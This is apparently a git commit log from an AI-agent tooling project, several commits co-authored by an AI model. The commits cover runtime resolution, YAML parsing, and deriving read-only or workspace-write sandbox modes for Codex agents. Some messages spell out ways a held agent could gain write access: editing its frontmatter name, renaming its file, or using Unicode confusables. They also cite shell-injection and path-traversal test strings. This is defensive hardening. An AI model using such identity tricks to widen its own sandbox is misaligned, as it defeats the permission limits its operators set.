wrong, which is exactly why the dedup exists.

Only a same-key/different-reason pair errors, and that one is a genuine
ambiguity about which explanation holds.

As written, the paragraph told a contributor that a rebase-carried trailer
breaks the gate -- the opposite of the behavior. CONTEXT.md's parallel entry
already stated it correctly; this brings CONTRIBUTING into line.

Doc-only, root-level markdown.

Refs #3942

* chore(#3942): backfill changeset PR number to 3954

---------

Co-authored-by: sim <sim@local>
2026-08-27 17:28:39 -04:00
Tom Boucher
9410f7e6e6 enhance(#3897): ADR-3473 §8.3 rungs 2-4 — runtime marker, derived Codex sandbox, short-form depends_on (#3941)
* test(#3897): failing-first coverage for §8.3 rungs 2-4

ADR-3473 §8.3 has four rungs; #3883/PR #3896 shipped the first. This pins the
other three RED before any fix.

Rung 2 — the install marker has four readers and resolveRuntime is not one.

  resolveRuntime resolves GSD_RUNTIME > config.runtime > 'claude' and reads no
  marker at all, while bin/install.js writes one (#2297) and FOUR hand-rolled
  readInstallRuntimeMarker copies exist: src/model-resolver.cts:65 (cached, with
  test seams), hooks/gsd-agent-isolation-guard.js:112, and TWICE in
  hooks/gsd-cursor-subagent-start.js at :346 and :355. Four copies of one rule.

  Fixtures and seam names mined from PR #3382 rather than re-derived; it
  implemented this rung and was closed "not on the merits".

Rung 3 — the sandbox map, and the fallback that was the real defect.

  Measured across all 35 files in agents/, deriving workspace-write iff tools:
  declares Write or Edit:

    - all 11 CODEX_AGENT_SANDBOX entries derive to their mapped value exactly,
      zero disagreements — the map carries nothing the contract does not
    - 24 roles fall through `|| 'read-only'`, of which 16 declare Write or Edit

  So the map is redundant and the silent fallback is the defect. The maintainer
  chose to derive but hold those 16 at read-only pending the question of whether
  Codex enforces sandbox_mode or merely advises; HALT.md records it.

  T20 asserts the emitted sandbox_mode PER ROLE against a captured baseline, not
  in aggregate — an aggregate passes while one role silently widens, which is
  the proxy-instead-of-identity shape this repo names. T24 and T25 fail on a
  stale hold, so the hold list cannot rot into the subset map being deleted.

Rung 4 — shortFormToId, recovered rather than invented.

  I nearly reported this as another wrong §8.3 claim: `git log -S shortFormToId`
  returns only documentation commits. That was the wrong instrument. Direct
  inspection of sdk/src/query/phase.ts at 11918dcc3^ shows five occurrences, and
  the tests match that code rather than a guess at its semantics — including
  first-write-wins on a duplicate short form.

  T43 asserts at the consumer's output: the emitted `waves` map from the real
  CLI, which pre-fix collapses to {"1":[...]} because every short-form edge is
  dropped. A unit assertion on resolveDependencyId would have passed throughout
  this defect's life.

Observed RED, this tree:
  rung 2   11/11 fail — no marker rung, no seams
  rung 3   T23,T24,T25,T26,T30 fail; T28 fails (validate agents passes a TOML
           whose sandbox_mode disagrees — it checks presence only)
  rung 4   T42,T44 fail; T43,T49 fail with waves collapsed to a single wave 1

Green and staying green: T20/T21/T22/T27 as captured baselines, #3885's
unresolvable-token warning and wave-verdict suppression, and #3785's
display-mapping passthrough. If the third tier over-reaches, those go red — that
is their job.

Disclosed weakness: T45 (a canonical id with no dash is not short-form indexed)
cannot be isolated behaviorally, because planMap always masks it. It is a
non-crash boundary pin, weaker than the other rows, and is recorded as such
rather than presented as equivalent.

Design:      .gsd/phase/feat-3897-adr3473-83-rungs/40-design.md
Test matrix: .gsd/phase/feat-3897-adr3473-83-rungs/50-test-matrix.md
Decision:    .gsd/phase/feat-3897-adr3473-83-rungs/HALT.md

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* enhance(#3897): §8.3 rungs 2-4 — one marker reader, a derived sandbox, the third depends_on tier

ADR-3473 §8.3 has four rungs. #3883/PR #3896 shipped the first. These are the
other three.

Rung 2 — the install marker had four readers, and resolveRuntime was not one.

  resolveRuntime resolved GSD_RUNTIME > config.runtime > 'claude' and read no
  marker, while bin/install.js writes one (#2297) and four hand-rolled
  readInstallRuntimeMarker copies existed: src/model-resolver.cts (cached, with
  seams), hooks/gsd-agent-isolation-guard.js, and twice in
  hooks/gsd-cursor-subagent-start.js.

  model-resolver's was already the house idiom, so it was promoted rather than
  replaced: src/runtime-slash.cts now owns it, and model-resolver plus both
  hooks delegate. The hooks reach it through ensureRuntimeBuild(), the seam
  lint-hooks-runtime-build-seam enforces. No import cycle existed - checked
  both directions before moving anything.

  The marker is the THIRD rung: env > project config > marker > 'claude'.

  N1 was checked rather than assumed, and my first reading of it was wrong. A
  marker holding an unknown name comes back essentially verbatim, which looked
  like a validation gap. Measured against the env rung with the same inputs -
  including "../../etc/passwd" and "claude;rm -rf /" - the two are identical,
  because they share resolveRuntimeNameFromCandidates. N1 asks for exactly that,
  and it is met. The residual (the shared normalizer normalizes shape, it does
  not validate against the known-runtime set) is pre-existing on the env rung
  and plausibly deliberate, since a new runtime should not need a code change.
  The marker also does not widen the trust boundary in any real sense: it lives
  inside the install tree beside the code, so anyone who can write it can write
  runtime-slash.cjs itself.

Rung 3 — the map was redundant; the silent fallback was the defect.

  Measured across all 35 files in agents/, deriving workspace-write iff tools:
  declares Write or Edit: all 11 CODEX_AGENT_SANDBOX entries derive to their
  mapped value exactly, zero disagreements. The map carried nothing the contract
  did not already have, so it is DELETED rather than reconciled. What was
  actually broken is `|| 'read-only'`, which silently under-granted 24 of 35
  roles.

  16 of those 24 declare Write or Edit and would widen under derivation. Per the
  maintainer's decision (HALT.md), they are held at read-only pending the
  question of whether Codex enforces sandbox_mode or merely advises. Emitted
  TOML is therefore byte-identical for all 35 roles - asserted per role, not in
  aggregate, because an aggregate passes while one role silently widens.

  The hold list self-invalidates. A hold whose role no longer derives broader
  fails, and so does a hold naming a role with no agents/<name>.md. Without
  that it would rot into exactly the hand-maintained subset map being deleted,
  and this commit's own ledger claim would become false over time. Both cases
  were proved by injecting them and watching them throw.

  Two committed tests asserted the deleted map's existence and contents. They
  were pinning the thing being removed, so the tests moved rather than the
  production code: the 11 role-value pairs survive as a test-local
  PRE_3897_CODEX_AGENT_SANDBOX baseline, and the assertions now drive the real
  derivation against real agents/*.md. The coverage is preserved; only its
  source moved out of production code.

  validate agents gains checkCodexSandboxPosture, mirroring the existing
  checkCodexModelPosture: each installed TOML's sandbox_mode must equal the
  role's expected value, failing with role, expected and found. It previously
  checked file presence and manifest completeness only, so a TOML whose
  sandbox_mode disagreed passed.

Rung 4 — shortFormToId, recovered rather than invented.

  I nearly reported this as another wrong §8.3 claim: git log -S returns only
  documentation commits. Wrong instrument. sdk/src/query/phase.ts at 11918dcc3^
  carries five occurrences, and the implementation here matches that code rather
  than a guess at its semantics - including first-write-wins on a duplicate
  short form, deterministic from the sorted plan order.

  It resolves the bare plan number: depends_on: ["01"] now reaches
  26-01-auth-hardening. That is a control-flow change, not a diagnostic one -
  plans that silently collapsed into a single wave 1 now execute in their
  declared waves, and execute-phase.md consumes those wave values.

  In-phase only, by construction: the map is built from this phase's rawPlans,
  so a same-named short form in another phase does not resolve.

  #3785's display-mapping passthrough and #3885's unresolvable-token warning and
  wave-verdict suppression are untouched and stay green. If the third tier had
  over-reached, those are what would have caught it.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3897): close a fail-open I introduced, and wire the posture check to its command

Two blockers from review. Both are mine, and one is a security regression my own
change created.

1. A held role could escape its hold by editing its own frontmatter.

  The Codex install loop set the sandbox identity from the agent's frontmatter
  `name:` field rather than from its filename, so the hold lookup keyed off a
  value the file itself declares:

    deriveCodexSandboxMode('gsd-doc-writer',   <real file>)          -> read-only
    deriveCodexSandboxMode('gsd-doc-writer-x', <same file, name: edited>) -> workspace-write
    deriveCodexSandboxMode('GSD-Doc-Writer',   <same file, name: recased>) -> workspace-write

  What makes this a blocker rather than a nit is the DIRECTION. The deleted
  CODEX_AGENT_SANDBOX map had the identical lookup-key quirk, but it was an
  allowlist: an unmatched key fell back to read-only, which is safe. The new
  scheme derives workspace-write from the tool contract and uses the hold as a
  subtraction, so the same mismatch fails OPEN. I converted a fail-closed quirk
  into a fail-open one and did not notice; the isolated reviewer proved it by
  execution.

  Neither safety net caught it. validateCodexSandboxHolds only checks that
  <key>.md exists, never that a file's derived identity matches its key.
  checkCodexSandboxPosture looks the canonical source up by the installed TOML's
  filename, finds nothing for a renamed agent, and treats it as a custom
  non-roster agent — silently no violation.

  The identity is now the FILENAME STEM, which is what validateCodexSandboxHolds
  already validates and what an attacker editing frontmatter cannot change
  without renaming the file — at which point the existing validator catches it.
  The lookup is case-insensitive so a recase does not slip past either. The
  frontmatter name still drives the TOML body and filename, unchanged; only the
  sandbox identity moved.

  All 35 roster files were checked: name matches filename stem everywhere, so a
  stricter "they must agree or throw" invariant would have been safe against real
  content. It is deliberately NOT added — it would abort an install on a tampered
  file where emitting a correctly-derived read-only TOML is the safer outcome.
  Recorded as a fork rather than decided silently.

2. checkCodexSandboxPosture was exported and never called.

  cmdValidateAgents (src/verify.cts) called checkAgentsInstalled and
  checkCodexModelPosture only; grep for the sandbox check in that file returned
  nothing. So criterion 3 — "validate agents fails on semantic drift, not only on
  missing files" — was unmet, and `validate agents` behaved exactly as before.
  That is ADR-3473 Decision 2's named shape: a declared policy with no executor.

  It also meant the T28 test asserted at the helper's return value while the
  COMMAND stayed broken — the ADR-3180 Decision 4(b) failure this epic exists to
  close, committed by me while enforcing it elsewhere in the same epic.

  Now wired as an additive `sandbox_posture` field beside `codex_posture`,
  following the sibling precedent exactly. Drift is report-only, not a non-zero
  exit, because that is what checkCodexModelPosture does — two sibling posture
  checks disagreeing about whether a violation is fatal would be its own defect.
  The choice is recorded in a comment rather than left implicit. A consumer-output
  test now drives the real CLI and asserts on the emitted JSON, and was shown
  failing before the wiring and passing after.

Also corrected a stale artifact: the design's Known limit L1 still claimed rung 3
was not in this deliverable, written while it was halted and false once the
maintainer unblocked it.

Verified after both fixes: the three bypass probes all return read-only, the
per-role table is 35/35 byte-identical, and both hold self-invalidation cases
still throw.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3897): the marker rung, the derived sandbox, and the bare plan-number depends_on

Reference: the runtime precedence ladder in docs/CLI-TOOLS.md gains the install
marker rung; docs/COMMANDS.md documents validate agents' new sandbox_posture
field; docs/reference/plan-md.md documents that depends_on accepts the bare plan
number.

Explanation: a docs/features fragment keyed id 3897, so it cannot collide with a
concurrent PR hand-allocating a section number, regenerated into FEATURES.md.

ADR-3473 §8.3 gains an ANSWER blockquote in the document's own correction style,
recording what was measured and built against the section's 2026-08-26 correction
- including the qualification that checkAgentsInstalled itself still checks
presence only, and the semantic assertion lives in a sibling wired into validate
agents rather than folded into it.

No how-to. Both user-visible changes are zero-step: a non-Claude install resolving
its own runtime, and plans executing in their declared waves, both happen without
the user doing anything. docs/how-to/control-the-reported-host-runtime.md covers a
DIFFERENT ladder (resolveReportedRuntime / agent_runtime) that this change does
not touch, and was deliberately left alone rather than edited by association.

No tutorial - nothing multi-step to walk through. docs/AGENTS.md unchanged: it
documents Claude-side tools frontmatter, never Codex sandbox_mode, and the
emitted tools contract did not change.

The prompt layer documents depends_on only by example, not by schema, so nothing
there needed editing - and few-shot-examples/plan-checker.md already showed
depends_on: ['01'], which now actually resolves.

Translated copies of plan-md.md are untouched; the project treats translations as
community-maintained.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3897): move the sandbox derivation out of the installer, off the install path, and off a third parser

The full suite came back with 26 failures across four files. Three distinct
causes, mapped individually rather than assuming the first explained the rest.

A. Requiring bin/install.js printed the GSD banner to stdout and corrupted
   `validate agents` JSON.

     Unexpected token '', "[36m   ██"... is not valid JSON

   checkCodexSandboxPosture reached deriveCodexSandboxMode by lazily requiring
   bin/install.js, whose module load prints the ASCII banner. So the command
   emitted banner bytes before its JSON and every JSON consumer broke, including
   ten tests that predate this branch. src/ reaching into bin/ was backwards
   layering that happened to also be loud.

   The derivation now lives in src/codex-agent-toml.cts - the existing Codex TOML
   domain module, no new module and no six-gate ripple - and both bin/install.js
   and src/agent-install-check.cts import it. One owner, which is §8.3's rule
   applied to the fix for §8.3.

B. The stale-hold throw fired on a legitimate partial source dir, and masked a
   security assertion.

   validateCodexSandboxHolds treated "this hold's .md is absent from the install
   SOURCE dir" as a stale hold and threw. A test fixture, or any partial install
   source, legitimately contains a couple of agents. Worse, it threw BEFORE the
   path-escape check, so a test asserting that a `../../evil` frontmatter name is
   rejected got my unrelated error instead of the traversal rejection it was
   written for. A fail-closed check of mine was hiding a real security check.

   The "no stale holds, shrink-only" invariant is a property of the repo's
   canonical agents/ roster, not of whatever directory an install happens to read.
   It is off the runtime path and enforced where it belongs, in the tests that
   already existed for it. A partial source dir now installs cleanly, and the
   evil-name case throws with its own escapes-configHome message again.

C. T8 depended on ambient process.env state.

   The marker/env parity assertion round-tripped through live process.env. It now
   compares against resolveExplicitRuntime's already-exported dependency-injection
   parameter - deterministic and hermetic, same claim. Proven still falsifiable
   rather than assumed: with the marker rung's normalization temporarily bypassed
   the two rungs diverge ("codex\n../../etc/passwd" vs "codex-../../etc/passwd")
   and the assertion fails, then passes again once reverted.

One correction folded in along the way. The first version of the move added
private _extractFrontmatterAndBody/_extractFrontmatterField helpers to
codex-agent-toml.cts - a THIRD copy of frontmatter extraction, where the graph
already shows two (bin/install.js:2348, runtime-artifact-conversion.cts:893).
Adding a third inside the epic whose thesis is one implementation per rule is not
defensible. deriveCodexSandboxMode no longer parses anything: it takes
(identity, toolsValue) and each caller supplies the tools value using the
extractor it already has. Both helpers are deleted. The identity argument is
still the filename stem, so the fail-open fix is untouched.

Verified after all three: `validate agents --raw` emits parseable JSON with no
banner and both posture fields; the four hold-bypass probes still return
read-only; the per-role table is 35/35 byte-identical at 26 read-only / 9
workspace-write; the hold list is still 16.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3897): drop a dev-only transitive dep, make the derivation total, retire a stale fallback test

Suite down to 7 failures from 26. Three more causes, mapped individually.

A. My extractor import dragged in a script that does not exist in an installed
   tree.

     Cannot find module '../../../scripts/fix-slash-commands.cjs'

   Chain: src/agent-install-check.cts imported runtime-artifact-conversion.cjs,
   which requires command-roster.cjs, whose line 36 requires
   ../../../scripts/fix-slash-commands.cjs. That path exists in the repo and not
   in an install, so every test exercising a synthetic install dir died at module
   load. I picked that extractor for convenience without checking what it pulls
   in - the same mistake that produced the banner bug, one layer further out.

   agent-install-check now uses a single-purpose extractToolsLine on
   codex-agent-toml.cts. That is deliberately NOT a general frontmatter parser:
   we deleted those helpers a commit ago for good reason, and this reads one
   line. Verified from outside the repo root that requiring either module prints
   nothing and does not throw.

B. A test pinned the deleted name-based fallback.

   'defaults unknown agents to read-only' called generateCodexAgentToml with a
   fixture declaring tools: Read, Write, Edit. Under derivation an unknown agent
   with a writing contract correctly derives workspace-write - design row S6, a
   new writing role gets the contract, not the pin. The behavior it asserted was
   the silent fallback this rung deleted; identity no longer decides the sandbox.

   Replaced with two rows rather than a flipped string: no tools declared ->
   read-only (absence is not a grant), and Write/Edit declared -> workspace-write.
   Strictly more coverage than the row it replaces.

C. The stale-hold check still threw per derivation call.

   Last commit took the roster-existence check off the install path, but
   deriveCodexSandboxMode itself still threw when a hold's role did not derive
   broader FOR THE CONTENT IT WAS HANDED - so it fired on any synthetic fixture
   for a held role.

   The throw is gone, and it cost nothing: if a held role's content does not
   derive broader, the hold pins read-only and derivation returns read-only
   anyway, so the hold is a no-op and there is nothing to fail about. The
   staleness invariant is a property of the real agents/ roster, and
   validateCodexSandboxHolds still enforces it there - confirmed against the real
   roster after the change, not assumed.

   deriveCodexSandboxMode is now total: every (identity, toolsValue) including
   undefined and null returns read-only or workspace-write, never throws.

Verified: validate agents emits parseable JSON; the four hold-bypass probes
return read-only; the per-role table is 35/35 at 26 read-only / 9
workspace-write.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3897): put the rung-3 decision in the shipped docs instead of pointing at an ignored path

The ADR entry and the feature fragment both ended their rung-3 explanation with
"see .gsd/phase/feat-3897-adr3473-83-rungs/45-decision-rung3-sandbox.md". That
directory is gitignored (.gitignore:55), so the rationale for holding 16 roles at
read-only was reachable only from the machine that produced it. A reader of the
ADR got a pointer to nothing.

Both now carry the reasoning inline: the criterion asks both that the sandbox
derive from the declared tool contract and that no role gain a broader sandbox,
and those cannot both hold, because a faithful derivation widens 16 roles the
deleted map never listed and that fell through its silent read-only default. The
resolution is derive-and-hold - the derivation owns the rule now, each hold is
released as its enforcement question is answered, and a hold is reversible where
a widened sandbox that turns out to be enforced is not.

Checked before assuming this was a defect class: CONTEXT.md cites
.gsd/phase/<slug>/40-design.md as its standard Design: provenance line in eight
module entries, and four other shipped docs do the same. Citing a phase artifact
is an established convention here, so those are left alone. What was wrong was
specific to these two: they put load-bearing rationale behind the pointer instead
of provenance.

docs/FEATURES.md regenerated from the fragment via scripts/gen-features.cjs
rather than hand-edited.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3897): close a fail-open, stop a silent mis-resolution, and read a declaration as a declaration

Two orthogonal reviews on the shipped sha. Three of the findings are the same
failure class this epic exists to close, committed inside it.

1. BLOCKER - the sandbox was decided for one identity and applied to another.

   bin/install.js derived sandbox_mode for the filename stem and then wrote the
   result to `${name}.toml`, where name comes from the file's own frontmatter.
   Make the two disagree and a HELD role's artifact goes wide:

     rename gsd-doc-writer.md -> gsd-doc-writer-v2.md, keep name: gsd-doc-writer
       -> stem is unheld, derives workspace-write, lands on gsd-doc-writer.toml
     add any gsd-*.md whose frontmatter name: is a held role
       -> clobbers that role's toml with workspace-write

   Both emit read-only on origin/next, because the deleted map was an allowlist
   and a miss fell back safe. This is a regression my change introduced. The
   previous review round moved the HOLD KEY off frontmatter to the filename stem
   and left the OUTPUT PATH on frontmatter; my own comment at install.js:6985
   calls that value attacker-editable, four lines above the line that uses it as
   the filename.

   The decision is now made over BOTH candidate identities, most-restrictive
   wins: if either the stem or the emitted name is held, the mode is read-only.

2. MAJOR - hold matching was toLowerCase() only, so confusables escaped.

   Turkish dotted/dotless i, fullwidth, NFD, trailing space/NBSP/dot/newline,
   ./ and ../agents/ all slipped the hold and emitted workspace-write.
   Identities are now basenamed, trimmed of NBSP/zero-width/control characters,
   NFKC-normalized and lowercased - and anything still carrying a character
   outside [a-z0-9._-] is treated as suspicious and derives read-only. We do not
   enumerate confusables; every shipped roster file is ASCII, so refusing to
   widen on an identity we cannot recognize is fail-closed with no false
   positives on real content.

3. MAJOR - the short-form depends_on tier mis-resolved SILENTLY.

   shortFormToId keyed on the last dash-segment of any canonical id with no
   constraint that it is a plan number, so a phase holding 09-FIX-auth-PLAN.md
   made depends_on: ["auth"] bind at wave 2 with zero warnings. This is the
   worst shape in the epic: the unresolvable-token warning fires on a DROPPED
   token, so a MIS-RESOLVED one is invisible and the tool reports a confident
   wave assignment built from a wrong edge. A wrong edge is worse than a missing
   one.

   The segment must now match /^\d+$/, which is exactly the contract
   docs/reference/plan-md.md already documents. This tier was recovered verbatim
   from the retired SDK lineage, which carried the same defect; we are
   deliberately NOT preserving it bug-for-bug, and the comment says so, so the
   next reader does not "restore" it.

4. MAJOR - the derivation was reading a declaration as an absence.

   extractToolsLine read one line, so a YAML list-form tools: block returned only
   its first item. Two roster files use list form, and gsd-nyquist-auditor
   declares Write and Edit there - parsed as "- Read", found no write tool, and
   emitted read-only. Rung 3's headline claim is that sandbox_mode derives from
   the declared tool contract; that claim was false for 2 of 35 roles and
   materially wrong for 1. Reading a declaration as an absence is the silent-drop
   class this epic exists to close.

   Renamed extractToolsValue and taught it both shapes. gsd-nyquist-auditor now
   derives workspace-write and joins CODEX_SANDBOX_HOLDS as its 17th entry, per
   the standing derive-and-hold decision - so emitted TOML stays byte-identical
   at 26 read-only / 9 workspace-write while the hold list finally records every
   role that would widen. A previous pass declined this fix because it moved the
   count; that inverts the priority. Byte-identity is preserved THROUGH the hold,
   not by leaving a parser broken.

   Divergence check, because this is where that bug hides: both paths feeding
   sandbox derivation - install.js's emitter and checkCodexSandboxPosture - now
   route through the one extractor. The tools readers in
   runtime-artifact-conversion and install.js's other frontmatter call sites
   serve Claude-side emission and do not feed sandbox derivation.

Also fixed, each real: the posture check's `found` used a naive whole-file regex
where its own sibling uses the block-aware scanner, so prose inside
developer_instructions produced a false violation; `found` skipped
truncatePostureValue and leaked a 300-char value into validate agents output;
deriveCodexSandboxMode's absolute never-throws claim was false for an object with
a throwing toString; T49 could not falsify cross-phase leakage (its target phase
had its own 01, so a globally-scoped map passed too); T20/N6 iterated a hardcoded
table and pinned the FIXTURE size, so a 36th agent would be silently unchecked;
three tests reimplemented the code they were testing instead of importing it; and
T2-T4 deleted GSD_RUNTIME without restoring it.

Verified: hold list 17, gsd-nyquist-auditor derives workspace-write unheld and
emits read-only held, roster 35/35 at 26/9, depends_on ["auth"] no longer
resolves while ["01"] still does, both identity-bypass cases and every confusable
vector emit read-only.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3897): the hold list is 17, and the reason the 17th was missing

The count read 16 because the derivation could not read the declaration it
claimed to derive from: the tools reader was single-line, so a YAML list-form
tools: block returned only its first item and gsd-nyquist-auditor's declared
Write and Edit were read as an absence.

Both the ADR entry and the feature fragment now carry the corrected count and the
reason for it, rather than a silently updated number. Deriving from a declaration
you cannot parse is not deriving, and a flattering count is worse than a wrong
one because it looks settled.

docs/FEATURES.md regenerated from the fragment.

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3897): backfill changeset pr number

Refs #3897

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-27 15:19:01 -04:00
Tom Boucher
34399eed70 docs(#3942): ADR — the emitted-drift ack belongs in a commit trailer (#3943)
The acknowledgment explains one PR's unattributable emitted-artifact delta.
The moment that PR merges the delta is in the base, so the acknowledgment can
never clear anything again — its useful life is exactly the PR's open window.
It is stored in permanent, shared, merge-path state. That single lifetime
mismatch is the origin of six consecutive rounds of defect-and-fix (#2789,
#2914, #3078, #3823, #3842, #3875), each fix generating the next defect, ending
in a scheduled sweeper whose own PR (#3927) could not merge itself.

ADR-3942 supersedes ADR-2719 section 3 only, and its #2789 Amendment. Sections
1, 2 and 4-7 are retained and depended upon: the conservation law itself is not
in question, only where its escape hatch is stored.

Also lands the root-cause research note behind the decision, and regenerates
the ADR index.

Two corrections to earlier framing, recorded here rather than dropped:

- Per-commit trailers do NOT reliably survive squash-merge; the repo's own
  ship.md:306 reconstructs a gate trail precisely because squash discards it.
  The ADR therefore claims no durable audit record on next. Non-survival is the
  property being bought, not a cost.
- The test job checks out at depth 1 (test.yml:107-110, no fetch-depth key). A
  depth-1 checkout cannot see the PR's commit range and fails VACUOUSLY rather
  than erroring, so fetch-depth: 0 is a named decision in the ADR and the
  acceptance criterion requires a test that fails under depth 1.

Docs-only; no code, no changeset.

Refs #3942

Co-authored-by: sim <sim@local>
2026-08-27 14:06:29 -04:00
Tom Boucher
6b7df61938 enhance(#3881): one YAML parser — vendored js-yaml replaces the hand-rolled dialect (#3888)
* docs(#3881): answer §8.1's open question and correct three wrong premises

ADR-3473 §8.1 carries a blocking open question with a forcing function: it must
be answered before any implementation PR for the rule opens. Answered here as (a),
a string-coercing adapter, with the measurement that settles it.

The sequencing note bet that §8.8's schema would make (b) tractable. Measured
against merged reality it does not: only 33 of extractFrontmatter's 78 non-test
call sites read STATE.md, and two of the five compensating mechanisms §8.1 lists
survive real types, leaving ~31 lines across 3 call sites as the actual prize.

Also corrects three claims verified false while answering it. §8.1's justifying
sentence names #3349 and #3360 as defects a real parser would fix; both are
already fixed on next, confirmed by executing the compiled parser rather than
reading it. The guard roster calls lint-frontmatter-scalar-broad-grep.cjs an
expected casualty of this rule, but it guards shell grep idioms in workflow bash
fences and never touches our parser. The same roster calls lint-vendored-deps.cjs
reusable as-is; it is hardcoded to re2js throughout.

The last two were caught by applying the rule this amendment records -- a factual
claim in this ADR is a hypothesis until the implementing phase executes it -- on
its first use.

Refs #3881

* docs(#3881): record that §8.1's fork is ill-posed and (a) is not implementable

An adversarial pass on the Phase 4 design established by execution that
extractFrontmatter is not a YAML parser but a line-oriented scanner whose output
is a function of raw source text. Four spellings of the same value collapse to
one js-yaml tree but produce four distinct legacy strings, one of them mangled.
No adapter over a tree can choose among outputs the tree does not distinguish,
so fork (a) -- keep a string-coercing adapter so the existing contract holds --
cannot be built. For any document with a non-scalar value, (a) collapses into
(b); about 26 percent of frontmatter-carrying documents have one.

Also records three design defects and one new attack surface, all confirmed by
execution: catching a parse failure and returning {} would delete the frontmatter
block on the next write at eight call sites that conflate empty with unparseable;
an empty value yields null where legacy yields {}, and reconstructFrontmatter
omits null-valued keys, so the shipped state template's empty progress key would
vanish; the #1882 truncation probe is parseYamlRegion itself rather than a
pre-parse heuristic, so it cannot both stay unchanged and survive that deletion;
and FAILSAFE_SCHEMA still resolves aliases, expanding seven lines to 22.8 MB.

The rule is not deferred. The measurement is the deliverable and the re-scoping
is recorded as an open question with a forcing function, per section 8's own rule.

Refs #3881

* test(#3881): failing-first rows for block scalars, unicode keys and the missing #3594 matrix

Creates tests/feat-3594-parser-adversarial-frontmatter.test.cjs, the file the fixture README instructs contributors to register fixtures in but which never existed.

Section C: table-driven ownership check over tests/fixtures/adversarial/frontmatter/ so a fixture with no matrix entry fails loudly; six existing fixtures (duplicate-keys, crlf-mixed, unclosed-block, unicode-keys-and-values, null-byte-value, huge-bounded) each get the invariant its README states.

B1 blockScalarValueIsNotTheBlockIndicator: parsing commands/gsd/add-tests.md must give argument-instructions the instruction text, not the literal '|'. RED today.

B2 blockScalarDoesNotInventATopLevelKey: same parse must not produce a top-level Example key scraped from inside the block body. RED today.

B3 unicodeKeyRoundTripsAsIs: the 相 key in unicode-keys-and-values.md must survive parsing; today it is silently dropped. RED today.

Refs #3881

* chore(#3881): vendor js-yaml and generalize the vendored-deps guard to a manifest

Packaging step for ADR-3473 §8.1: makes js-yaml available to gsd-core/bin/** without promoting it out of devDependencies (promoting broke every installed tree, #3496).

gsd-core/bin/lib/vendor/js-yaml.cjs is a verbatim copy of node_modules/js-yaml/dist/js-yaml.js (the self-contained UMD dist bundle, not index.js), exposing load/dump/FAILSAFE_SCHEMA/YAMLException with zero require() calls of its own.

src/vendor/js-yaml.d.cts is hand-authored, not copied, because js-yaml ships no upstream .d.ts and @types/js-yaml is not installed. It is deliberately narrow, declaring only the four symbols in use, so anchors/aliases/custom types/loadAll are unreachable from typed code -- a compile-time enforcement of ADR-3473 §8.1's refusal to expand alias resolution for security reasons. Because it has no upstream counterpart it is excluded from the byte-compare.

scripts/lint-vendored-deps.cjs is refactored from a script hardcoded to re2js into a table-driven VENDORED manifest (one row per package: upstream/vendored .cjs paths, optional .d.cts paths, twin kind upstream-verbatim vs hand-authored) so a second vendored package does not require a second hardcoded check block, per ADR-3473 §8.3 'one implementation per rule'. The four existing re2js checks (vendored .cjs vs node_modules, vendored .d.cts vs node_modules, src/vendor twin vs bin-side twin, devDependency version pin vs installed version) are preserved unchanged; verified pass/fail identical before and after the refactor, and the guard's ability to fail was re-proven with a deliberate one-byte append to both re2js.cjs and js-yaml.cjs, then restored.

docs/INVENTORY.md and docs/INVENTORY-MANIFEST.json (via gen-inventory-manifest.cjs --write, run after build:lib) register vendor/js-yaml.cjs. gsd-core/bin/lib/vendor/README.md documents both vendored packages and the two twin kinds.

Refs #3881

* feat(#3881): parse .planning frontmatter with the vendored js-yaml

ADR-3473 §8.1: extractFrontmatter's read path is no longer a hand-rolled
line scanner. parseYamlRegion, escapeDoubleQuoted, unescapeDoubleQuoted and
parseQuotedScalar are deleted (not patched); parsing now goes through the
vendored js-yaml (./vendor/js-yaml.cjs) under { schema: FAILSAFE_SCHEMA,
json: true }. Everything js-yaml does not do is layered on top, in one
place, carrying the seven design-doc consequences:

1. Empty value: a null js-yaml value is coerced to {} (matching legacy's
   own empty-value contract) so reconstructFrontmatter — which omits
   null-valued keys — still round-trips a bare `key:` line instead of
   deleting it. Verified live: progress: with no value survives
   parse -> reconstruct -> re-parse.

2. Unparseable no longer collapses to a bare {}: a new FRONTMATTER_UNPARSEABLE
   Symbol (exported), keyed exactly like the existing #3257 FULL_LINE_COMMENTS
   channel, is carried on the {} returned for malformed/refused YAML. Invisible
   to Object.keys/entries/JSON.stringify/for-in, so the 70 call sites that
   never inspect it are unaffected; wiring the 8 hasFrontmatter sites to
   consult it is a separate change, not done here.

3. Non-scalar object-list items (the four spellings of `- test: a b` that
   js-yaml collapses into one tree shape) are rendered as a canonical
   `key: value[, key2: value2]` string per item, keeping the existing
   array-of-strings value SHAPE. A full corpus differential over all 1702
   tracked markdown files found 11 residual divergences from the legacy
   parser (enumerated in the PR/report), most of them the parser now being
   MORE correct (a dropped quoted top-level key, the block-scalar/phantom-key
   defect, a dropped Unicode key).

4. The #1882 truncation probe still runs the one real parser, but derives
   its key count from js-yaml's own thrown error and mark.line when the
   whole region doesn't parse cleanly (the dominant real truncation shape:
   fence opened, well-formed keys, no closing fence). Verified against both
   the clean-parse and the exception-fallback path.

5. The #3257 comment channel now attributes each pending column-0 comment
   against js-yaml's own parsed top-level key list (matched by literal key
   text, in document order) instead of the legacy ASCII-only key regex, so
   a comment above a Unicode key attaches correctly.

6. Anchors, aliases and merge keys are refused outright (a raw-text
   pre-scan, since FAILSAFE_SCHEMA still resolves them) — corpus occurrences
   today: zero. A 7-line billion-laughs fixture is verified refused rather
   than expanded.

7. A literal U+0000 is swapped for a private-use sentinel before the parse
   and restored in every resulting string afterward, since js-yaml rejects
   NUL unconditionally under every schema.

escapeDoubleQuoted is deleted and reimplemented via js-yaml's dump()
(forced double-quoted style), with control-char hex escapes lowercased to
